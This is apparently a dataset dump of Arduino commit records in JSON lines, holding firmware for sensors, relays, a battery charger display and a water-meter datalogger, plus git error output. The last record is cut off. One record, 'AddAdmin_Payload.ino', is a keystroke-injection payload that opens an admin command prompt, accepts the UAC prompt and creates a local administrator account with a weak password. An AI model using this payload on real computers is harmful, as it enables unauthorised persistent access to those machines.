\/\/ DPRINTSTIMER(x) argument is the number of milliseconds between print events\n \/\/ Smaller numbers give more reliable switching between MPU 0 an 1 but seem to cause crashing (Buffer overrun?)\n DPRINTSTIMER(1) {\n DPRINTSFN(15, \"\\tValues for MPU :\", i, 6, 1);\n DPRINTSFN(15, \"\\tYaw:\", Yaw, 6, 1);\n DPRINTSFN(15, \"\\tPitch:\", Pitch, 6, 1);\n DPRINTSFN(15, \"\\tRoll:\", Roll, 6, 1);\n DPRINTLN();\n }\n \n }\n}\n\n\n\n\n\/**\n * =============================================================\n * === Arduino Setup ===\n * =============================================================\n *\n * @author Mike Muscato\n * @date 2017-01-30\n *\n * @return {void}\n *\/\nvoid setup() {\n Serial.begin(38400);\n while (!Serial); \/\/ Wait for the connection to be established?\n\n \/\/ Run MPU initializations\n Serial.println(F(\"i2cSetup\"));\n i2cSetup();\n Serial.println(F(\"MPU6050 Connection Routine\"));\n MPU6050Connect();\n Serial.println(F(\"Setup complete\"));\n\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\/**\n * =============================================================\n * === Arduino Loop ===\n * =============================================================\n *\n * @author Mike Muscato\n * @date 2017-01-30\n *\n * @return {void}\n *\/\nvoid loop() {\n if (mpuInterrupt[0] && mpuInterrupt[1]) { \/\/ Wait for MPU interrupt or extra packet(s) available on both MPUs\n GetDMP();\n }\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GY-521-2x-MPU6050-Base\/GY-521-2x-MPU6050-Base.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ae42ce4c89eba4081344ff6ae62c51c40905f62","subject":"Create door.ino","message":"Create door.ino","repos":"Satrajit-c\/door_sensor","old_file":"Version 1.2\/No_bell\/door.ino","new_file":"Version 1.2\/No_bell\/door.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Version' did not match any file(s) known to git\nerror: pathspec '1.2\/No_bell\/door.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d28aa390ebe809e68751f5334e3cc237572da2b","subject":"add example","message":"add example\n","repos":"poljant\/relay","old_file":"examples\/relayLED\/relayLED.ino","new_file":"examples\/relayLED\/relayLED.ino","new_contents":"#include <Relay.h>\n\n\/\/esp8266 LED is inverted\n#define RELAY_PIN LED_BUILTIN\nRelay r;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n r.begin(RELAY_PIN, true);\n Serial.println();\n Serial.println(\"Relay is begin and inverted is true\");\n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n Serial.println(\"Relay (LED) is Off\");\n r.setOff();\n delay(2000);\n Serial.println(\"Relay (LED) is On\");\n r.setOn();\n delay(2000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/relayLED\/relayLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e40ed02c16e3dcd3cfaa5f959903ecd1b5bf1f0","subject":"set pin d3 as emergency","message":"set pin d3 as emergency\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb034d2a626982f3c2f2e41294a71c96d9ed1398","subject":"Add comment to improve code readability","message":"Add comment to improve code readability\n","repos":"christofersimbar\/ArduinoDuckyScript","old_file":"AddAdmin_Payload\/AddAdmin_Payload.ino","new_file":"AddAdmin_Payload\/AddAdmin_Payload.ino","new_contents":"#include <HID.h>\n#include <Keyboard.h>\n\n\/\/ Init function\nvoid setup()\n{\n \/\/ Start Keyboard and Mouse\n Keyboard.begin();\n\n \/\/ Start Payload\n \/\/ press Windows+X\n Keyboard.press(KEY_LEFT_GUI);\n delay(1000);\n Keyboard.press('x');\n Keyboard.releaseAll();\n delay(500);\n\n \/\/ launch Command Prompt (Admin)\n typeKey('a');\n delay(3000);\n\n \/\/ klik \"Yes\"\n typeKey(KEY_LEFT_ARROW);\n typeKey(KEY_RETURN);\n delay(1000);\n\n \/\/ add user\n Keyboard.println(\"net user \/add Arduino 123456\");\n typeKey(KEY_RETURN); \n delay(100);\n\n \/\/ make that user become admin \n Keyboard.print(\"net localgroup administrators Arduino \/add\");\n typeKey(KEY_RETURN);\n delay(100);\n\n Keyboard.print(\"exit\");\n typeKey(KEY_RETURN); \n \/\/ End Payload\n\n \/\/ Stop Keyboard and Mouse\n Keyboard.end();\n}\n\n\/\/ Unused\nvoid loop() {}\n\n\/\/ Utility function\nvoid typeKey(int key){\n Keyboard.press(key);\n delay(500);\n Keyboard.release(key);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AddAdmin_Payload\/AddAdmin_Payload.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0860cbe5b8bbdbbe0962335893570cbd9fe920fe","subject":"Update Stromzaehler.ino","message":"Update Stromzaehler.ino","repos":"VinFar\/SML-Reader-STM32F0,VinFar\/SML-Reader-STM32F0,VinFar\/SML-Reader-STM32F0,VinFar\/SML-Reader-STM32F0","old_file":"ESP8266\/Stromzaehler\/Stromzaehler.ino","new_file":"ESP8266\/Stromzaehler\/Stromzaehler.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VinFar\/SML-Reader-STM32F0.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6bf503f84d5cdfc54818c9200ba9bf1bdb843636","subject":"initial commit for ChargerBox - 18650 charger\/discharger with buttons and LCD","message":"initial commit for ChargerBox - 18650 charger\/discharger with buttons and LCD\n","repos":"tool4\/Arduino,tool4\/Arduino","old_file":"ChargerBox\/ChargerBox.ino","new_file":"ChargerBox\/ChargerBox.ino","new_contents":"#include <SPI.h>\n#include \"Wire.h\"\n#include \"LCD.h\"\n#include \"LiquidCrystal_I2C.h\"\n#include <EEPROM.h>\n\nbool light = true;\nint lastLight = 0;\n\nenum MODE_ENUM\n{\n MODE_VCC = 0,\n MODE_BUTTONS,\n MODE_TIME,\n MODE_VOLTAGE,\n MODE_LCD_TIMER,\n NUM_MODE_ENUMS,\n MODE_SERIAL_MON,\n};\n\nchar str_vcc[6];\nchar str_volt[6];\nchar serial_buf1[20];\nchar serial_buf2[20];\nint serial_buf_line_no = 1;\n\nint eeprom_address = 0;\n\nMODE_ENUM lastMode = MODE_VCC;\nint last_mode_button = 0;\nint mode = MODE_VOLTAGE;\nint last_mode = mode;\nint photo_res = 0;\ndouble voltage = 0;\nLiquidCrystal_I2C lcd(0x3f, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n\nunsigned long lastSeconds = 0;\nunsigned long lastMillis = 0;\nunsigned long elapsedMillis = 0;\nunsigned long totalSeconds = 0;\nunsigned long seconds = 0;\nunsigned long minutes = 0;\nunsigned long hours = 0;\nunsigned long lcd_timer = 0;\nunsigned long lcd_timeout = 20;\n\nunsigned long getTime()\n{\n unsigned long Millis = millis();\n if ( Millis < lastMillis ) \/\/ overflow!\n {\n lastMillis = 0;\n }\n unsigned long currentSeconds = ( Millis \/ 1000 );\n unsigned long elapsedSeconds = ( currentSeconds - lastSeconds );\n\n elapsedMillis = Millis - lastMillis;\n lastMillis = Millis;\n if ( elapsedSeconds > 0 )\n {\n seconds += elapsedSeconds;\n totalSeconds += elapsedSeconds;\n lastSeconds = currentSeconds;\n lcd_timer += elapsedSeconds;\n }\n if ( seconds >= 60 )\n {\n ++minutes;\n seconds = 0;\n }\n if ( minutes >= 60 )\n {\n ++hours;\n minutes = 0;\n }\n return elapsedMillis;\n}\n\nvoid GetButtonsStr( char* str )\n{\n int btn1 = digitalRead(4);\n int btn2 = digitalRead(5);\n int btn3 = digitalRead(6);\n int btn4 = digitalRead(7);\n int btn5 = digitalRead(8);\n sprintf(str, \"%d %d %d %d %d\", btn1, btn2, btn3, btn4, btn5 );\n}\n\nvoid display( int _mode )\n{\n char line1[24] = \" \";\n char line2[24] = \" \";\n sprintf(line1, \"%02d:%02d:%02dHHHHHHHHHHHHHHHHHHH\", hours, minutes, seconds);\n sprintf(line2, \"%16s\", \"\");\n\n switch ( _mode )\n {\n case MODE_VCC:\n sprintf(line2, \"VCC: %sV\", str_vcc );\n break;\n case MODE_TIME:\n sprintf(line1, \"TIME FROM START:\");\n sprintf(line2, \"%02ld:%02ld:%02ld \", hours, minutes, seconds);\n break;\n case MODE_VOLTAGE:\n sprintf(line1, \"%16s\", \"INPUT VOLTAGE:\");\n sprintf(line2, \"%16s\", str_volt);\n break;\n case MODE_BUTTONS:\n char str[16];\n GetButtonsStr( str );\n sprintf(line1, \"CURRENT BUTTONS STATE:\");\n sprintf(line2, \"%s\", str);\n break;\n case MODE_LCD_TIMER:\n sprintf(line1, \"%02ld:%02ld:%02ld %d \", hours, minutes, seconds, lcd_timer);\n sprintf(line2, \"LCD timeout %d \", lcd_timeout);\n break;\n case MODE_SERIAL_MON:\n sprintf(line1, \"%s\", serial_buf2);\n sprintf(line2, \"%s\", serial_buf1);\n break;\n default:\n sprintf(line2, \"DFT mode %d %s\", _mode, \" \" );\n break;\n }\n lcd.setCursor(0, 0);\n lcd.print(line1);\n lcd.setCursor(0, 1);\n lcd.print(line2);\n}\n\nstruct SButtons\n{\n int mode_button : 1;\n int up_button : 1;\n int left_button : 1;\n int right_button : 1;\n int bottom_button : 1;\n int enter_button : 1;\n};\n\nSButtons g_Buttons;\nSButtons g_LastButtons;\n\nvoid ReadButtons()\n{\n g_Buttons.mode_button = digitalRead(2);\n g_Buttons.left_button = digitalRead(4);\n g_Buttons.up_button = digitalRead(5);\n g_Buttons.right_button = digitalRead(6);\n g_Buttons.bottom_button = digitalRead(7);\n g_Buttons.enter_button = digitalRead(8);\n}\n\nbool ButtonsChanged()\n{\n if ( g_Buttons.mode_button != g_LastButtons.mode_button ||\n g_Buttons.left_button != g_LastButtons.left_button ||\n g_Buttons.up_button != g_LastButtons.up_button ||\n g_Buttons.right_button != g_LastButtons.right_button ||\n g_Buttons.bottom_button != g_LastButtons.bottom_button ||\n g_Buttons.enter_button != g_LastButtons.enter_button )\n {\n return true;\n }\n return false;\n}\n\nvoid clear_screen()\n{\n \/\/clear lcd:\n char line1[16] = \" \";\n char line2[16] = \" \";\n lcd.setCursor(0, 0);\n lcd.print(line1);\n lcd.setCursor(0, 1);\n lcd.print(line2);\n}\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n\n int value = EEPROM.read(eeprom_address);\n if ( value != 0)\n {\n lcd_timeout = value;\n }\n\n \/\/Initialise the LCD\n lcd.begin (16, 2);\n lcd.setBacklight(HIGH);\n lcd.print(\"LCD POWER MONITOR\");\n lcd.setCursor(0, 1);\n lcd.print(\"LI-IO CHARGE\/DISCHARGE\");\n pinMode(13, INPUT);\n pinMode(12, OUTPUT);\n pinMode(2, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n pinMode(7, INPUT);\n pinMode(8, INPUT);\n delay(500);\n\n Serial.begin(9600);\n while (!Serial);\n\n Serial.println(\"I'm Alive (nano) with LCD\");\n sprintf( serial_buf1, \" \");\n sprintf( serial_buf2, \" \");\n}\n\nvoid loop()\n{\n if ( mode != MODE_SERIAL_MON)\n {\n mode %= NUM_MODE_ENUMS;\n }\n ReadButtons();\n\n if ( ButtonsChanged() )\n {\n lcd_timer = 0;\n light = true;\n }\n int mode_button = digitalRead(2);\n elapsedMillis = getTime();\n double vcc = ((double) readVcc() \/ 1000.0);\n dtostrf(vcc, 5, 3, str_vcc);\n\n voltage = (vcc * (double)analogRead( 0 )) \/ 1023.0;\n dtostrf(voltage, 3, 2, str_volt);\n str_volt[4] = 'V';\n\n if (Serial.available())\n {\n int i = 0;\n sprintf( serial_buf2, \"%s\", serial_buf1);\n sprintf( serial_buf1, \" \");\n while (Serial.available() > 0)\n {\n char c = Serial.read();\n if ( i++ < 16 && c != '\\n')\n serial_buf1[i] = c;\n Serial.write(c);\n };\n light = 1;\n lcd_timer = 0;\n mode = MODE_SERIAL_MON;\n }\n delay(100);\n display(mode);\n\n if ( last_mode_button == 0 && mode_button == 1)\n {\n mode++;\n mode %= NUM_MODE_ENUMS;\n clear_screen();\n }\n\n if ( mode == MODE_LCD_TIMER)\n {\n \/\/ Serial.write(\"mode timer\");\n if ( g_Buttons.up_button != 0 &&\n g_LastButtons.up_button == 0)\n {\n lcd_timer = 0;\n if ( lcd_timeout == 0 )\n lcd_timeout++;\n lcd_timeout *= 2;\n if ( lcd_timeout > 255 )\n lcd_timeout = 0;\n light = 1;\n EEPROM.write(eeprom_address, lcd_timeout);\n }\n }\n\n if ( lcd_timer > lcd_timeout &&\n lcd_timeout > 0 )\n {\n light = 0;\n }\n\n last_mode_button = mode_button;\n lastLight = light;\n lastMode = mode;\n g_LastButtons = g_Buttons;\n\n lcd.setBacklight( light ? HIGH : LOW );\n last_mode = mode;\n}\n\nlong readVcc()\n{\n long result;\n \/\/ Read 1.1V reference against AVcc\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n delay(2);\n \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC);\n while (bit_is_set(ADCSRA, ADSC));\n \/\/ Convert\n result = ADCL;\n result |= ADCH << 8;\n result = 1126400L \/ result; \/\/ Back-calculate AVcc in mV\n result += 32; \/\/ to match my multimeter\n return result;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ChargerBox\/ChargerBox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37a6289a86cac731723873ca31d0a027d68db423","subject":"Create Firmware.ino","message":"Create Firmware.ino","repos":"UCHIC\/WaterMonitor","old_file":"src\/piggy_back_loggers\/SD_Mag_Prototype\/Firmware.ino","new_file":"src\/piggy_back_loggers\/SD_Mag_Prototype\/Firmware.ino","new_contents":"\/\/ Firmware for the CIWS Residential Datalogger\n\/\/ Arduino IDE ver. 1.8.7\n\/\/ Utah Water Research Lab\n\/\/ Updated: 10\/25\/2018\n\/\/ Daniel Henshaw and Josh Tracy\n\/\/ Note: F(\"String\") keeps string literals in program memory and out of RAM. Saves RAM space. Very good. Don't remove the F. I know it looks funny. But don't do it. Really. The program might crash if you do. And then you'll have dishonor on yourself, dishonor on your cow...\n\n\/* \/!\\ BUG: Microcontroller Freezes on request to start logging. *\/ \/*Bug fixed.*\/\n\/* \/!\\ BUG: Cannot enter serial *\/ \/*Fixed: Pin 3 needs a pull-up resistor.*\/\n\n\/* \/!\\ BUG: SD Card not being written to.*\/\n\n\/*******************************************************************************************\\\n* Hardware Description\n* ___________________ ___\n* | |<------------------------->[___] RTC \n* ________ | | _______\n* | | | |<------------------------->| | SD\n* | |<------->| |<-----[] Activate Serial |______\/\n* |________| |___________________|<-----[] Sensor\n* Serial Controller\n* \n* Serial: Serial interface for user interaction with the logger\n* Controller: Arduino Pro\/Pro Mini (used for SD library and lower power options)\n* SD: External SD Card storage for the logger.\n* Activate Serial: Button to wake up the controller and activate the Serial interface\n* Sensor: Hall Effect Sensor for logging pulses from water meters.\n* RTC: Real Time Clock to track time and wake up controller every four seconds.\n\\*******************************************************************************************\/\n\n\/*********************************************************\\\n* Software Description\n* Overview: \n* User inputs:\n* Serial input.\n* Device outputs:\n* Serial output\n* Datalog file\n* \n* Structure:\n* 1. Setup\n* 2. Handle Serial (for start-up configuration)\n* 3. Loop\n* If serial is enabled\n* Handle serial input\n* If four seconds are up\n* Update the time\n* Construct a timestamp\n* Power-on the SD card\n* Write data\n* Power-off the SD card\n* If sleep is enabled (disabled when serial is enabled)\n* Enter Sleep (low-power mode)\n* < Will wake up on Interrupt and continue: >\n* Repeat Loop\n* \n* Interrupts:\n* 1. INT0_ISR()\n* \n* 2. INT1_ISR()\n* \n\\*********************************************************\/\n\n#include <SPI.h>\n#include <SD.h>\n#include <DebugMacros.h>\n#include <LSM303CTypes.h>\n#include <SparkFunIMU.h>\n#include <SparkFunLSM303C.h>\n\n#include \"handleSerial.h\"\n#include \"powerSleep.h\"\n#include \"state.h\"\n#include \"RTC_PCF8523.h\"\n#include \"storeNewRecord.h\"\n#include \"detectPeaks.h\"\n#include \"magnetometer.h\"\n\n\/\/ These six macros below are the ten's place mask for the various real time clock registers\n#define SECONDS_REG_MASK 0x7 \/\/ keep lower 3 bits\n#define MINUTES_REG_MASK 0x7\n#define HOURS_REG_MASK 0x3 \/\/ keep lower 2 bits\n#define DAYS_REG_MASK 0x3\n#define MONTHS_REG_MASK 0x1 \/\/ keep lower 1 bit\n#define YEARS_REG_MASK 0xF \/\/ keep all four bits\n\n\n\/*********************************************************************************\\\n * Setup:\n * System State structure Complete\n * Setup Digital I\/O pins\n * Pin 2 (INT0)\n * Pin 3 (INT1)\n * Pin 4 (SD power on\/off)\n * Pin 5 (Serial Activate Button)\n * Setup interrupts\n\\*********************************************************************************\/\n\nvolatile State_t State; \/\/ System State structure\nDate_t Date; \/\/ System Time and Date structure\nFile dataFile; \/\/ File pointer for SD Card operations\nLSM303C mag; \/\/ Magnetometer Object\nvolatile SignalState_t SignalState; \/\/ Struct containing signal data from magnetometer\n\nvoid setup() \n{\n resetState(&State); \/\/ Setup the System State structure\n \n pinMode(2, INPUT); \/\/ Setup the Digital Pins \n pinMode(3, INPUT_PULLUP);\n pinMode(5, INPUT);\n\n magnetometerInit(&mag); \/\/ Initialize Magnetometer\n \n\n rtcTransfer(reg_Tmr_CLKOUT_ctrl, WRITE, 0x3A); \/\/ Setup RTC Timer\n rtcTransfer(reg_Tmr_A_freq_ctrl, WRITE, 0x02);\n rtcTransfer(reg_Tmr_A_reg, WRITE, 0x04);\n rtcTransfer(reg_Control_2, WRITE, 0x02);\n rtcTransfer(reg_Control_3, WRITE, 0x40); \/\/ Set RTC to switch to Battery on power loss\n\n \/*Interrupts TODO: change the INT0_ISR to record magnetometer data*\/\n\n attachInterrupt(digitalPinToInterrupt(2), INT0_ISR, RISING); \/\/ Setup Interrupts\n attachInterrupt(digitalPinToInterrupt(3), INT1_ISR, FALLING);\n EIMSK &= ~(1 << INT0); \/\/ Disable Sensor interrupt\n EIMSK |= (1 << INT1); \/\/ Enable 4-Second RTC interrupt.\n \n loadDateTime(&Date); \/\/ Load Date_t with Date\/Time info\n \n disableUnneededPeripherals(); \/\/ Disable unneeded peripherals\n\n if((digitalRead(5) == 0) && !State.serialOn)\n {\n State.serialOn = true;\n serialPowerUp();\n }\n}\n\nvoid loop() \n{\n \/\/ JOSH\n \/*****************************************\\\n * ButtonCheck: Is the button pressed?\n * If button is pressed (active-low):\n * Set serialOn flag.\n * call serialPowerUp()\n \\*****************************************\/ \n if((digitalRead(5) == 0) && !State.serialOn)\n {\n State.serialOn = true;\n serialPowerUp();\n }\n \n \/\/ JOSH\n \/*****************************************\\\n * Serial: User I\/O over serial\n * serialOn flag is set:\n * call function handleSerial();\n \\*****************************************\/\n if(State.serialOn)\n handleSerial(&State, &Date, &SignalState, &mag);\n\n \/\/ DANIEL\n \/*****************************************\\\n * 4-second update: Update at 4 seconds\n * If 4-second flag is set:\n * Store a new record\n \\*****************************************\/\n if(State.flag4)\n {\n State.flag4 = 0; \/\/ Reset flag4 to zero\n rtcTransfer(reg_Control_2, WRITE, 0x02); \/\/ Reset real time clock interrupt flag\n loadDateTime(&Date);\n if(State.logging)\n storeNewRecord();\n }\n \/\/ JOSH\n \/*****************************************\\\n * Sleep: put processor to sleep\n * to be woken by interrupts\n * If serialOn is not set:\n * call function Sleep();\n \\*****************************************\/\n if(!State.serialOn)\n enterSleep();\n\n \/\/ JOSH\n \/*****************************************\\\n * Read Magnetometer: \n * \n * If readMag is set:\n * call readData(&mag, &SignalState);\n * If peakDetected(&SignalState)\n * State.pulseCount += 1;\n \\*****************************************\/\n if(State.readMag)\n {\n State.readMag = false;\n readData(&mag, &SignalState);\n if(peakDetected(&SignalState));\n State.pulseCount += 1;\n }\n}\n\n\/\/ DANIEL\n\/* Function Title: INT0_ISR()\n * \n * Friendly Name: Sensor Interrupt Service Routine (ISR)\n * \n * Description: increments the value of the pulse count variable by one, each time this \n * function is called by hardware.\n *\/\nvoid INT0_ISR()\n{\n \/\/ For magnetometer version: set a flag which will allow the datalogger to read the magnetometer\n State.readMag = true;\n}\n\n\/\/ DANIEL\n\/* Function Title: INT1_ISR()\n * \n * Friendly Name: Real Time Clock OUT Interrupt Service Routine (ISR)\n * \n * Description: sets the 4-second flag to true each time this function\n * is called by hardware. The Real Time Clock generates\n * the signal that calls this ISR once every four seconds.\n *\/\nvoid INT1_ISR()\n{\n State.flag4 = true; \/\/ sets the \"four second flag\" to true\n}\n\n\/* Function: storeNewRecord\n * \n * Author: Daniel Henshaw \n * Date: 11\/10\/18 \n * \n * Description: This function gets the current time from the Real Time Clock, and then \n * carries out the communication to write a new record to the SD card and \n * then turns off the I2C and SD card.\n * \n * Pseudocode: \n * \n * Begin\n * Reset flag4 to zero\n * Reset real time clock interrupt flag\n * Declare variables\n * Store pulse count to a variable named final count\n * Set pulseCount to zero\n * Read current time from the Real Time Clock and update the Date struct with the current time\n * turn on the I2C interface (function rtcTransfer does this for us)\n * read the year and store into temp variable \n * convert from binary-coded decimal into binary, and store into years field of Date struct\n * read the month and store into temp variable \n * convert from binary-coded decimal into binary, and store into months field of Date struct\n * read the day and store into temp variable \n * convert from binary-coded decimal into binary, and store into days field of Date struct\n * read the hour and store into temp variable \n * convert from binary-coded decimal into binary, and store into hours field of Date struct\n * read the minutes and store into temp variable \n * convert from binary-coded decimal into binary, and store into minutes field of Date struct\n * read the seconds and store into temp variable \n * convert from binary-coded decimal into binary, and store into seconds field of Date struct \n * turn off the I2C interface (function rtcTransfer does this for us)\n * Write the new record to the SD card \n * power on SD card\n * write new record to SD card \n * open the date-time string by writing a double quotation mark\n * write year, month, day, hours, \n * if minutes is less than ten\n * then\n * write a leading zero (the minutes value will be appended to it by the next statement)\n * endIf \n * write the minutes \n * if seconds is less than ten\n * then\n * write a leading zero (the seconds value will be appended to it by the next statement)\n * endIf \n * write the seconds\n * close the date-time string by writing a double quotation mark\n * write a comma to begin a new field (CSV file format)\n * write the record number \n * write a comma to begin a new field (CSV file format)\n * write the number of pulses counted when function was called (finalCount)\n * end of writing the record to SD card \n * power down SD card \n * End of function storeNewRecord() \n *\/\n\n\n\nvoid storeNewRecord() \n{ \/\/ Begin\n byte finalCount; \/\/ Declare variables\n byte temp;\n finalCount = State.pulseCount; \/\/ Store pulse count to a variable named final count\n State.pulseCount = 0; \/\/ Set pulseCount to zero\n \/\/ Read current time from the Real Time Clock and update the Date struct with the current time \n temp = rtcTransfer(reg_Years, READ, 0); \/\/ read the Years and store into temp variable\n Date.years = bcdtobin(temp, YEARS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into years field of Date struct\n temp = rtcTransfer(reg_Months, READ, 0); \/\/ read the Months and store into temp variable\n Date.months = bcdtobin(temp, MONTHS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into months field of Date struct\n temp = rtcTransfer(reg_Days, READ, 0); \/\/ read the Days and store into temp variable\n Date.days = bcdtobin(temp, DAYS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into days field of Date struct\n temp = rtcTransfer(reg_Hours, READ, 0); \/\/ read the Hours and store into temp variable\n Date.hours = bcdtobin(temp, HOURS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into hours field of Date struct \n temp = rtcTransfer(reg_Minutes,READ, 0); \/\/ read the Minutes and store into temp variable \n Date.minutes = bcdtobin(temp, MINUTES_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into minutes field of Date struct \n temp = rtcTransfer(reg_Seconds,READ, 0); \/\/ read the Seconds and store into temp variable \n Date.seconds = bcdtobin(temp, SECONDS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into seconds field of Date struct \n \/\/ Write the new record to the SD card \n SDPowerUp(); \/\/ power on SD card\n dataFile = SD.open(State.filename, FILE_WRITE);\n \/\/ Write new record to SD card \n dataFile.print('\\\"'); \/\/ open the date-time string by writing a double quotation mark\n dataFile.print(Date.years); \/\/ write year, month, day, hours \n dataFile.print('-');\n dataFile.print(Date.months);\n dataFile.print('-');\n dataFile.print(Date.days);\n dataFile.print(' ');\n dataFile.print(Date.hours);\n dataFile.print(':');\n if(Date.minutes < 10) \/\/ if minutes is less than ten\n { \/\/ then\n dataFile.print('0'); \/\/ write a leading zero (the minutes value will be appended to it by the next statement) \n } \/\/ endIf\n dataFile.print(Date.minutes); \/\/ write the minutes\n dataFile.print(':'); \/\/ write a colon to separate minutes from seconds\n if(Date.seconds < 10) \/\/ if seconds is less than ten\n { \/\/ then\n dataFile.print('0'); \/\/ write a leading zero (the seconds value will be appended to it by the next statement)\n } \/\/ endIf\n dataFile.print(Date.seconds); \/\/ write the seconds\n dataFile.print('\\\"'); \/\/ close date-time string by writing a double quotation mark \n dataFile.print(','); \/\/ write a comma to begin a new field (CSV file format)\n dataFile.print(State.recordNum); \/\/ write the record number\n dataFile.print(','); \/\/ write a comma to begin a new field (CSV file format)\n dataFile.println(finalCount); \/\/ write the number of pulses counted when function was called (finalCount) and then print a new line\n \/\/ end of writing the record to SD card \n dataFile.close();\n State.recordNum += 1;\n SDPowerDown(); \/\/ power down SD card\n} \/\/ End of function storeNewRecord() \n\n\n\n\n\n\n\/* Function: bcdtobin\n * \n * Author: Daniel Henshaw \n * Date: 11\/17\/18 \n * \n * Description: This function converts Binary Coded Decimal (BCD) numbers to \n * standard binary format. This is particularly useful when working\n * with the real time clock, which stores time data in BCD format\n * in its registers. The function takes in the value to convert, and\n * the source register the value is coming from. The source register\n * is required so that the conversion will be compatible with the \n * number of bits into which the BCD value is stored into the RTC's\n * registers.\n *\n * Optional dependencies: set of macro definitions, included below, improve\n * this function's usability or user friendliness. These make it\n * straightforward for the user to specify from which register\n * the data is coming from. These also do double duty as masks for the \n * value, as not all 8 bits in the register are for the BCD value; some \n * of the upper bits serve other purposes or are \"unused\" \n * (see datasheet for PCF8523 by NXP).\n * \n * #define SECONDS_REG_MASK 0x7\n * #define MINUTES_REG_MASK 0x7\n * #define HOURS_REG_MASK 0x3\n * #define DAYS_REG_MASK 0x3\n * #define MONTHS_REG_MASK 0x1\n * #define YEARS_REG_MASK 0xF\n *\n * Pseudocode: \n * \n * Begin\n * Declare variable\n * shift right by four the bcdValue (Puts upper 4 bits at the bottom)\n * tensPlace is tensPlace ANDed with the provided bit mask a.k.a. conversion constant (hexadecimal value)\n * Return the binary value result (the unit's place plus tensPlace times ten)\n * End \n *\/\n\nbyte bcdtobin(byte bcdValue, byte sourceReg)\n{\n byte tensPlace;\n \n tensPlace = bcdValue >> 4;\n tensPlace &= sourceReg; \/* NOTE: sourceReg is actually a bit mask *\/\n\n return (bcdValue & 0x0F) + (tensPlace * 10); \/\/ return the binary value result: \n \/\/ step 1) First parenthesis: bcdValue ANDed with mask 0xF gives us the one's place, \n \/\/ step 2) Second parenthesis: move the ten's place value over by multiplying by ten\n \/\/ step 3) Add the first parenthesis group to the second parenthesis group\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/piggy_back_loggers\/SD_Mag_Prototype\/Firmware.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"bbb898e032f0e7e303aa1f2e5810a35d932364ab","subject":"Renamed Claire's code to StepTest.ino and added it. This code slowly turns the stepper motor after the user presses the B button.","message":"Renamed Claire's code to StepTest.ino and added it. This code slowly\nturns the stepper motor after the user presses the B button.\n","repos":"pololu\/amis-30543-arduino","old_file":"examples\/StepTest\/StepTest.ino","new_file":"examples\/StepTest\/StepTest.ino","new_contents":"#include <SPI.h>\n#include <AStar32U4Prime.h>\n\nAStar32U4PrimeButtonA buttonA;\nAStar32U4PrimeButtonB buttonB;\nAStar32U4PrimeButtonC buttonC;\n\n#define DATAOUT 16 \/\/MOSI\n#define DATAIN 14 \/\/MISO\n#define SPICLOCK 15 \/\/sck\n#define SLAVESELECT 10 \/\/ss\nSPISettings settings(500000, MSBFIRST, SPI_MODE0);\n\n#define STEP 9 \/\/STEP\n\n\/\/Commands\n#define READ B000 \/\/ CMD2=0\n#define WRITE B100 \/\/ CMD2=1\n\n\/\/Addresses of control registers\n#define WR 0x0\n#define CR0 0x1\n#define CR1 0x2\n#define CR2 0x3\n#define CR3 0x9\n\n\/\/Addresses of status regusters\n#define SR0 0x4\n#define SR1 0x5\n#define SR2 0x6\n#define SR3 0x7\n#define SR4 0xA\n\n\/\/Control register parameters\n#define DIRCTRL 1\n#define NXTP 2\n#define EMC 3\n#define SLAT 4\n#define SLAG 5\n#define PWMF 6\n#define PWMJ 7\n#define SM 8\n#define ESM 9\n#define SLP 10\n#define MOTEN 11\n#define CUR 12\n#define WDEN 13\n#define WDT 14\n\n\nvoid setup() \n{\n delay(3000);\n Serial.println(\"start\");\n pinMode (SLAVESELECT, OUTPUT); \/\/set the ss pin as an output\n SPI.begin(); \/\/initialize SPI\n \n pinMode (STEP, OUTPUT);\n \n Serial.println(\"AMIS SPI test\");\n while (1)\n {\n if 